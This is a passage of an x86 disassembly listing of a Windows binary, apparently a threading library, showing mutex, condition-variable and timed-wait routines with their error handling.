--------------------------------------------------------------------------- loc_430227: ; CODE XREF: ___:00430217j cmp dword ptr [esi], 0 jnz short loc_430221 mov edi, dword_50F8D0 loc_430232: ; CODE XREF: ___:00430239j push 0 call edi cmp dword ptr [esi], 0 jz short loc_430232 pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_430241: ; CODE XREF: ___:004301F9j ; ___:00430201j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430270 proc near ; CODE XREF: sub_4012E4j mov eax, dword_50E3E8 push esi push edi push eax call sub_401190 sub_430270 endp ; --------------------------------------------------------------------------- db 8Bh, 0F0h, 83h dd 0F68504C4h, 88E87675h, 8BFFFD18h, 74F685F0h, 7C7E8B5Bh dd 1B8h, 53F80B00h, 897C7E89h, 84E82046h, 90023209h, 0F8701D8Bh dd 26A0050h, 6A047E8Dh, 57006A00h, 0D3FF0689h, 817E850h dd 50900235h, 0E850D3FFh, 232FD34h, 5BC08590h, 0E8560E75h dd 0FFFD18E5h, 3304C483h, 0C35E5FC0h, 90510F8Bh, 3303D8E8h dd 28468902h, 0E3E8158Bh, 52560050h, 0FD1DE2E8h, 8C483FFh dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_430340 proc near ; CODE XREF: sub_401A50j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jnz short loc_43035E test eax, eax jz short loc_430358 mov eax, [eax] mov edx, [ecx] cmp eax, edx jnz short loc_43035E loc_430358: ; CODE XREF: sub_430340+Ej mov eax, 1 retn ; --------------------------------------------------------------------------- loc_43035E: ; CODE XREF: sub_430340+Aj ; sub_430340+16j xor eax, eax retn sub_430340 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430380: ; CODE XREF: ___:00401FF0j mov eax, [esp+4] test eax, eax jge short loc_43038E mov eax, 16h retn ; --------------------------------------------------------------------------- loc_43038E: ; CODE XREF: ___:00430386j mov dword_50E3F8, eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4303B0: ; CODE XREF: ___:0040155Aj mov eax, dword_50E3F8 retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4303D0 proc near ; CODE XREF: sub_401B13j push esi call sub_401307 mov esi, eax test esi, esi jnz short loc_4303F2 push 84h push 1 call near ptr 77C2C0C3h nop mov esi, eax add esp, 8 test esi, esi jz short loc_430439 loc_4303F2: ; CODE XREF: sub_4303D0+Aj push 0 push 0 or eax, 0FFFFFFFFh push 1 push 0 mov dword ptr [esi+28h], 0 mov dword ptr [esi+20h], 0 mov dword ptr [esi+30h], 0 mov dword ptr [esi+34h], 1 mov [esi+2Ch], eax mov [esi+24h], eax call near ptr 27508ADh nop test eax, eax mov [esi+38h], eax jnz short loc_430439 push esi call sub_401BBD add esp, 4 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_430439: ; CODE XREF: sub_4303D0+20j ; sub_4303D0+5Aj mov eax, esi pop esi retn sub_4303D0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430460 proc near ; CODE XREF: sub_401307j push esi push offset dword_50E900 nop call near ptr 7C901005h mov esi, dword_44574C cmp esi, 1 jz short loc_430495 mov eax, [esi+8] push offset dword_50E900 mov dword_44574C, eax mov dword ptr [esi+8], 0 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_430495: ; CODE XREF: sub_430460+15j push offset dword_50E900 xor esi, esi call near ptr 7C9010EDh nop mov eax, esi pop esi retn sub_430460 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4304D0 proc near ; CODE XREF: sub_401BBDj arg_0 = dword ptr 4 push edi push offset dword_50E900 nop call near ptr 7C901005h mov edx, [esp+4+arg_0] mov ecx, 21h xor eax, eax mov edi, edx rep stosd mov eax, dword_44574C push offset dword_50E900 mov [edx+8], eax mov dword_44574C, edx nop call near ptr 7C9010EDh pop edi retn sub_4304D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430520 proc near ; CODE XREF: sub_401640j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0FFFFFFFFh push eax call sub_430540 sub_430520 endp ; --------------------------------------------------------------------------- add esp, 8 retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430540 proc near ; CODE XREF: sub_430520+7p ; sub_430660+Ap var_8 = dword ptr -8 arg_0 = dword ptr 4 sub esp, 8 mov eax, [esp+8+arg_0] push esi push edi mov edi, 1 mov [esp+10h+var_8], eax call sub_4012E4 sub_430540 endp ; --------------------------------------------------------------------------- mov esi, eax test esi, esi jz short loc_430576 mov eax, [esi+30h] test eax, eax jnz short loc_43057E mov eax, [esi+38h] test eax, eax mov [esp+0Ch], eax jz short loc_43057E mov edi, 2 jmp short loc_43057E ; --------------------------------------------------------------------------- loc_430576: ; CODE XREF: ___:0043055Bj mov dword ptr [esp+0Ch], 0 loc_43057E: ; CODE XREF: ___:00430562j ; ___:0043056Dj ... mov ecx, [esp+18h] lea edx, [esp+8] push ecx push 0 push edx push edi nop call near ptr 27506F3h mov ecx, eax sub ecx, 0 jz short loc_430609 dec ecx jz short loc_4305B4 sub eax, 102h pop edi neg eax sbb eax, eax pop esi and eax, 0FFFFD8CAh add eax, 274Ch add esp, 8 retn ; --------------------------------------------------------------------------- loc_4305B4: ; CODE XREF: ___:00430599j mov eax, [esp+0Ch] push eax call near ptr 27704B2h nop test esi, esi jz short loc_4305FE lea edi, [esi+2Ch] push edi call sub_402225 mov ecx, [esi+0Ch] mov eax, 3 add esp, 4 cmp ecx, eax jge short loc_4305F5 push edi mov [esi+0Ch], eax mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DD4 ; --------------------------------------------------------------------------- add esp, 8 loc_4305F5: ; CODE XREF: ___:004305D9j push edi call sub_4010C3 add esp, 4 loc_4305FE: ; CODE XREF: ___:004305C1j pop edi mov eax, 16h pop esi add esp, 8 retn ; --------------------------------------------------------------------------- loc_430609: ; CODE XREF: ___:00430596j pop edi xor eax, eax pop esi add esp, 8 retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430660 proc near ; CODE XREF: sub_401D70j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_430540 sub_430660 endp ; --------------------------------------------------------------------------- add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430690 proc near ; CODE XREF: sub_401C03j arg_0 = dword ptr 4 push esi push offset dword_50E960 xor esi, esi call near ptr 7C901005h nop mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_4306C4 push esi push ecx call sub_402199 add esp, 8 mov esi, eax push offset dword_50E960 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_4306C4: ; CODE XREF: sub_430690+17j test eax, eax jnz short loc_4306CD mov esi, 16h loc_4306CD: ; CODE XREF: sub_430690+36j push offset dword_50E960 call near ptr 7C9010EDh nop mov eax, esi pop esi retn sub_430690 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430700 proc near ; CODE XREF: sub_402199j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push ebp xor ebp, ebp push edi test eax, eax jnz short loc_430714 pop edi mov eax, 16h pop ebp retn ; --------------------------------------------------------------------------- loc_430714: ; CODE XREF: sub_430700+Aj mov edi, [esp+8+arg_4] test edi, edi jz short loc_43072F mov eax, [edi] test eax, eax jz short loc_43072F cmp dword ptr [eax], 1 jnz short loc_43072F pop edi mov eax, 28h pop ebp retn ; --------------------------------------------------------------------------- loc_43072F: ; CODE XREF: sub_430700+1Aj ; sub_430700+20j ... push esi push 2Ch push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_430754 mov edx, [esp+0Ch+arg_0] mov ebp, 0Ch mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn ; --------------------------------------------------------------------------- loc_430754: ; CODE XREF: sub_430700+41j test edi, edi mov dword ptr [esi], 0FFFFFFFFh mov dword ptr [esi+4], 0 jz short loc_430770 mov edi, [edi] test edi, edi jz short loc_430770 mov edi, [edi+4] jmp short loc_430772 ; --------------------------------------------------------------------------- loc_430770: ; CODE XREF: sub_430700+63j ; sub_430700+69j xor edi, edi loc_430772: ; CODE XREF: sub_430700+6Ej push 0 lea eax, [esi+10h] push 0 push eax mov [esi+8], edi mov dword ptr [esi+0Ch], 0 call sub_401C76 add esp, 0Ch test eax, eax jz short loc_4307AD push esi mov ebp, 0Bh nop call near ptr 77C2C21Bh mov edx, [esp+10h+arg_0] add esp, 4 xor esi, esi mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn ; --------------------------------------------------------------------------- loc_4307AD: ; CODE XREF: sub_430700+8Ej lea ecx, [esi+14h] push ecx nop call near ptr 27807F0h mov edx, [esp+0Ch+arg_0] mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn sub_430700 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430810 proc near ; CODE XREF: sub_40222Fj arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi test edi, edi jz loc_4308F0 mov eax, [edi] test eax, eax jz loc_4308F0 cmp eax, 0FFFFFFFFh jz loc_4308B5 mov [esp+8+arg_0], eax lea eax, [esp+8+arg_0] push eax call sub_40177B mov esi, eax add esp, 4 test esi, esi jnz loc_4308EB mov ecx, [esp+8+arg_0] mov eax, [ecx+4] cmp eax, 1 jnz short loc_4308A7 lea ecx, [esp+8+arg_0] mov [edi], esi push ecx call sub_4010C3 mov edx, [esp+0Ch+arg_0] mov esi, eax add esp, 4 test esi, esi jnz short loc_4308A0 add edx, 10h push edx call sub_401686 mov eax, [esp+0Ch+arg_0] add esp, 4 add eax, 14h push eax call near ptr 2780000h nop mov ecx, [esp+8+arg_0] push ecx nop call near ptr 77C2C21Bh add esp, 4 mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4308A0: ; CODE XREF: sub_430810+61j mov [edi], edx mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4308A7: ; CODE XREF: sub_430810+48j dec eax mov esi, 10h mov [ecx+4], eax mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4308B5: ; CODE XREF: sub_430810+1Dj push offset dword_50E960 nop call near ptr 7C901005h cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_4308DB push offset dword_50E960 mov dword ptr [edi], 0 nop call near ptr 7C9010EDh mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4308DB: ; CODE XREF: sub_430810+B3j push offset dword_50E960 mov esi, 10h nop call near ptr 7C9010EDh loc_4308EB: ; CODE XREF: sub_430810+38j mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4308F0: ; CODE XREF: sub_430810+Aj ; sub_430810+14j pop edi mov eax, 16h pop esi retn sub_430810 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430940 proc near ; CODE XREF: sub_401A0Fj arg_0 = dword ptr 4 push esi push 8 push 1 xor esi, esi call near ptr 77C2C0C3h nop add esp, 8 cmp eax, esi jnz short loc_430963 mov edx, [esp+4+arg_0] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_430963: ; CODE XREF: sub_430940+12j mov ecx, [esp+4+arg_0] mov [eax], esi mov [eax+4], esi mov [ecx], eax mov eax, esi pop esi retn sub_430940 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430990 proc near ; CODE XREF: sub_4010AAj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi xor esi, esi test ecx, ecx jz short loc_4309B1 mov eax, [ecx] test eax, eax jz short loc_4309B1 push eax mov [ecx], esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_4309B1: ; CODE XREF: sub_430990+9j ; sub_430990+Fj mov eax, 16h pop esi retn sub_430990 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4309D0: ; CODE XREF: ___:00401BA9j mov eax, [esp+4] test eax, eax jz short loc_4309ED mov eax, [eax] test eax, eax jz short loc_4309ED mov ecx, [esp+8] test ecx, ecx jz short loc_4309ED mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_4309ED: ; CODE XREF: ___:004309D6j ; ___:004309DCj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430A10: ; CODE XREF: ___:004018F7j mov eax, [esp+4] test eax, eax jz short loc_430A3A mov ecx, [eax] test ecx, ecx jz short loc_430A3A mov eax, [esp+8] cmp eax, 1 jz short loc_430A2E test eax, eax jnz short loc_430A3A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_430A2E: ; CODE XREF: ___:00430A25j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_430A3A: ; CODE XREF: ___:00430A16j ; ___:00430A1Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430A50 proc near ; CODE XREF: sub_40119Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] xor eax, eax test ecx, ecx jz short loc_430A71 mov ecx, [ecx] test ecx, ecx jz short loc_430A71 mov edx, [esp+arg_4] test edx, edx jl short loc_430A71 cmp edx, 2 jg short loc_430A71 mov [ecx+4], edx retn ; --------------------------------------------------------------------------- loc_430A71: ; CODE XREF: sub_430A50+8j ; sub_430A50+Ej ... mov eax, 16h retn sub_430A50 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430A90 proc near ; CODE XREF: sub_4018C0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] xor eax, eax test ecx, ecx jz short loc_430AAE mov ecx, [ecx] test ecx, ecx jz short loc_430AAE mov edx, [esp+arg_4] test edx, edx jz short loc_430AAE mov ecx, [ecx+4] mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_430AAE: ; CODE XREF: sub_430A90+8j ; sub_430A90+Ej ... mov eax, 16h retn sub_430A90 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430AD0 proc near ; CODE XREF: sub_402225j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi xor edi, edi test esi, esi jz loc_430B87 mov eax, [esi] test eax, eax jz loc_430B87 cmp eax, 0FFFFFFFFh jnz short loc_430B01 push esi call sub_401C03 mov edi, eax add esp, 4 test edi, edi jz short loc_430B01 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_430B01: ; CODE XREF: sub_430AD0+1Dj ; sub_430AD0+2Cj mov esi, [esi] push esi call near ptr 276064Ch nop test eax, eax jnz short loc_430B2A loc_430B0E: ; CODE XREF: sub_430AD0+A8j mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_430B22 call sub_4012E4 ; --------------------------------------------------------------------------- loc_430B22: ; CODE XREF: sub_430AD0+4Bj mov [esi+0Ch], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_430B2A: ; CODE XREF: sub_430AD0+3Cj mov eax, [esi+8] test eax, eax jz short loc_430B6A call sub_4012E4 ; --------------------------------------------------------------------------- dw 8B50h dd 0E8500C46h, 0FFFD0F10h, 8508C483h, 562374C0h, 0FB98E890h dd 7E830233h, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h dd 24BFh, 5FC78B00h ; --------------------------------------------------------------------------- pop esi retn ; --------------------------------------------------------------------------- loc_430B6A: ; CODE XREF: sub_430AD0+5Fj lea ecx, [esi+10h] push ecx call sub_430BC0 add esp, 4 test eax, eax jz short loc_430B0E nop call near ptr 77C1F2BCh mov edi, [eax] mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_430B87: ; CODE XREF: sub_430AD0+Aj ; sub_430AD0+14j pop edi mov eax, 16h pop esi retn sub_430AD0 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430BC0 proc near ; CODE XREF: sub_430AD0+9Ep arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_430BDA mov eax, [eax] push 0FFFFFFFFh mov ecx, [eax] push ecx nop call near ptr 27703B3h test eax, eax jnz short loc_430BDA retn ; --------------------------------------------------------------------------- loc_430BDA: ; CODE XREF: sub_430BC0+6j ; sub_430BC0+17j nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_430BC0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430C00 proc near ; CODE XREF: sub_401BC2j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebp push esi mov esi, [esp+8+arg_0] xor ebp, ebp test esi, esi jz loc_430D98 mov eax, [esi] test eax, eax jz loc_430D98 cmp eax, 0FFFFFFFFh jnz short loc_430C31 push esi call sub_401C03 mov ebp, eax add esp, 4 test ebp, ebp jz short loc_430C31 pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430C31: ; CODE XREF: sub_430C00+1Dj ; sub_430C00+2Cj mov esi, [esi] push ebx push edi push esi nop call near ptr 276064Ch test eax, eax jnz short loc_430C62 loc_430C40: ; CODE XREF: sub_430C00+175j mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz loc_430D8E call sub_4012E4 ; --------------------------------------------------------------------------- pop edi mov [esi+0Ch], eax pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430C62: ; CODE XREF: sub_430C00+3Ej mov eax, [esi+8] test eax, eax jz short loc_430CA6 call sub_4012E4 ; --------------------------------------------------------------------------- dw 8B50h dd 0E8500C46h, 0FFFD0DD8h, 8508C483h, 562774C0h, 33FA61E8h dd 7E839002h, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h dd 24BDC35Dh, 5F000000h, 5EC58B5Bh ; --------------------------------------------------------------------------- pop ebp retn ; --------------------------------------------------------------------------- loc_430CA6: ; CODE XREF: sub_430C00+67j mov eax, [esp+10h+arg_4] test eax, eax jnz short loc_430CBA mov ebp, 16h pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430CBA: ; CODE XREF: sub_430C00+ACj lea edi, [esi+10h] push eax push edi call sub_430E10 add esp, 8 sub eax, 0 jz loc_430D7A dec eax jz short loc_430D44 dec eax jz short loc_430CE5 call near ptr 77C1F2BCh nop mov ebp, [eax] pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430CE5: ; CODE XREF: sub_430C00+D4j lea ebx, [esi+14h] push ebx nop call near ptr 7C901005h push edi mov ebp, 274Ch call sub_4010A5 add esp, 4 cmp eax, 0FFFFFFFFh push esi jnz short loc_430D17 nop call near ptr 27706E6h push ebx nop call near ptr 7C9010EDh pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430D17: ; CODE XREF: sub_430C00+101j nop call near ptr 27706E6h test eax, eax jl short loc_430D36 push edi call sub_40103C add esp, 4 test eax, eax jz short loc_430D36 call near ptr 77C1F2BCh nop mov ebp, [eax] loc_430D36: ; CODE XREF: sub_430C00+11Fj ; sub_430C00+12Cj push ebx nop call near ptr 7C9010EDh pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430D44: ; CODE XREF: sub_430C00+D1j lea ebx, [esi+14h] push ebx nop call near ptr 7C901005h push edi call sub_4010A5 mov edi, eax add esp, 4 cmp edi, 0FFFFFFFFh jnz short loc_430D6A push esi call near ptr 27706E6h nop mov ebp, 274Ch loc_430D6A: ; CODE XREF: sub_430C00+15Cj push ebx call near ptr 7C9010EDh nop test edi, edi jnz short loc_430D91 jmp loc_430C40 ; --------------------------------------------------------------------------- loc_430D7A: ; CODE XREF: sub_430C00+CAj mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_430D8E call sub_4012E4 ; --------------------------------------------------------------------------- loc_430D8E: ; CODE XREF: sub_430C00+4Dj ; sub_430C00+187j mov [esi+0Ch], eax loc_430D91: ; CODE XREF: sub_430C00+173j pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430D98: ; CODE XREF: sub_430C00+Aj ; sub_430C00+14j pop esi mov eax, 16h pop ebp retn sub_430C00 endp ; --------------------------------------------------------------------------- db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430E10 proc near ; CODE XREF: sub_430C00+BFp var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 0Ch push esi push edi mov edi, [esp+14h+arg_0] test edi, edi jz loc_430EAE mov esi, [esp+14h+arg_4] test esi, esi jnz short loc_430E42 or eax, 0FFFFFFFFh loc_430E2C: ; CODE XREF: sub_430E10+7Fj push eax mov eax, [edi] mov ecx, [eax] push ecx nop call near ptr 27703B3h test eax, eax jnz short loc_430E9C pop edi pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_430E42: ; CODE XREF: sub_430E10+17j lea eax, [esp+14h+var_C] push eax nop call near ptr 77C49113h mov ecx, [esi+4] mov eax, 431BDE83h add ecx, 7A120h add esp, 4 mul ecx mov eax, [esi] mov ecx, [esp+14h+var_C] shr edx, 12h lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] shl ecx, 3 lea eax, [edx+eax*8] mov edx, [esp+14h+var_8] sub eax, ecx and edx, 0FFFFh sub eax, edx jns short loc_430E2C pop edi mov eax, 2 pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_430E9C: ; CODE XREF: sub_430E10+2Aj cmp eax, 102h jnz short loc_430EAE pop edi mov eax, 1 pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_430EAE: ; CODE XREF: sub_430E10+Bj ; sub_430E10+91j nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi add esp, 0Ch retn sub_430E10 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430F00 proc near ; CODE XREF: sub_4010C3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx xor ebx, ebx push esi cmp eax, ebx jz loc_430FA0 mov esi, [eax] cmp esi, ebx jz loc_430FA0 cmp esi, 0FFFFFFFFh push edi jz short loc_430F95 mov eax, [esi+0Ch] mov edi, 1 cmp eax, edi jz short loc_430F4A call sub_4012E4 ; --------------------------------------------------------------------------- push eax mov eax, [esi+0Ch] push eax call sub_401A50 add esp, 8 test eax, eax jnz short loc_430F4A mov ebx, edi pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_430F4A: ; CODE XREF: sub_430F00+2Aj ; sub_430F00+40j cmp [esi+8], edi jnz short loc_430F58 mov eax, [esi+4] dec eax mov [esi+4], eax jnz short loc_430F9A loc_430F58: ; CODE XREF: sub_430F00+4Dj lea edi, [esi+14h] mov [esi+0Ch], ebx push edi nop call near ptr 7C901005h push esi call near ptr 27706E6h nop test eax, eax jl short loc_430F88 add esi, 10h push esi call sub_40103C add esp, 4 test eax, eax jz short loc_430F88 nop call near ptr 77C1F2BCh mov ebx, [eax] loc_430F88: ; CODE XREF: sub_430F00+6Ej ; sub_430F00+7Ej push edi call near ptr 7C9010EDh nop pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_430F95: ; CODE XREF: sub_430F00+1Ej mov ebx, 16h loc_430F9A: ; CODE XREF: sub_430F00+56j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_430FA0: ; CODE XREF: sub_430F00+Aj ; sub_430F00+14j pop esi mov eax, 16h pop ebx retn sub_430F00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430FE0 proc near ; CODE XREF: sub_40177Bj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi xor edi, edi test esi, esi jz short loc_431065 mov eax, [esi] test eax, eax jz short loc_431065 cmp eax, 0FFFFFFFFh jnz short loc_431002 push esi call sub_401C03 add esp, 4 mov edi, eax loc_431002: ; CODE XREF: sub_430FE0+15j mov esi, [esi] test edi, edi jnz short loc_431060 push 0FFFFFFFFh push edi push esi call dword_50E3FC ; InterlockedCompareExchange cmp eax, 0FFFFFFFFh jnz short loc_431033 mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_43102B call sub_4012E4 ; --------------------------------------------------------------------------- loc_43102B: ; CODE XREF: sub_430FE0+44j mov [esi+0Ch], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431033: ; CODE XREF: sub_430FE0+35j cmp dword ptr [esi+8], 1 jnz short loc_43105B call sub_4012E4 ; --------------------------------------------------------------------------- push eax mov eax, [esi+0Ch] push eax call sub_401A50 add esp, 8 test eax, eax jz short loc_43105B mov eax, [esi+4] inc eax mov [esi+4], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_43105B: ; CODE XREF: sub_430FE0+57j ; sub_430FE0+6Dj mov edi, 10h loc_431060: ; CODE XREF: sub_430FE0+26j mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431065: ; CODE XREF: sub_430FE0+Aj ; sub_430FE0+10j pop edi mov eax, 16h pop esi retn sub_430FE0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_4310A0: ; CODE XREF: ___:0040192Ej mov eax, [esp+8] mov ecx, [esp+4] push eax push ecx call sub_40119A add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4310D0: ; CODE XREF: ___:00401587j mov eax, [esp+8] mov ecx, [esp+4] push eax push ecx call sub_4018C0 add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431100: ; CODE XREF: ___:0040148Dj mov eax, [esp+4] test eax, eax jz short loc_43110C mov eax, [eax+4] retn ; --------------------------------------------------------------------------- loc_43110C: ; CODE XREF: ___:00431106j xor eax, eax retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431120: ; CODE XREF: ___:00401BFEj mov eax, [esp+4] push esi test eax, eax push edi jnz short loc_431132 pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_431132: ; CODE XREF: ___:00431128j mov esi, [eax] test esi, esi jnz short loc_431155 mov ecx, [eax+4] test ecx, ecx jnz short loc_431155 call sub_401CEE ; --------------------------------------------------------------------------- dd 0A9AE856h, 0E890023Fh, 0FFFD0B9Eh, 5EC0335Fh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_431155: ; CODE XREF: ___:00431136j ; ___:0043113Dj mov ecx, [eax+4] mov eax, 431BDE83h add ecx, 0F423Fh imul ecx sar edx, 12h mov eax, edx shr eax, 1Fh add edx, eax lea eax, [esi+esi*4] lea eax, [eax+eax*4] lea ecx, [eax+eax*4] lea edi, [edx+ecx*8] call sub_4012E4 ; --------------------------------------------------------------------------- mov esi, eax test esi, esi jnz short loc_43118E pop edi mov eax, 0Ch pop esi retn ; --------------------------------------------------------------------------- loc_43118E: ; CODE XREF: ___:00431184j mov eax, [esi+30h] push edi test eax, eax jnz short loc_4311F6 mov edx, [esi+38h] push edx nop call near ptr 27703B3h test eax, eax jnz short loc_4311E7 lea edi, [esi+2Ch] push edi call sub_402225 mov eax, [esi+0Ch] add esp, 4 cmp eax, 3 jge short loc_4311D6 push edi mov dword ptr [esi+0Ch], 3 mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DD4 ; --------------------------------------------------------------------------- add esp, 8 loc_4311D6: ; CODE XREF: ___:004311B6j push edi call sub_4010C3 add 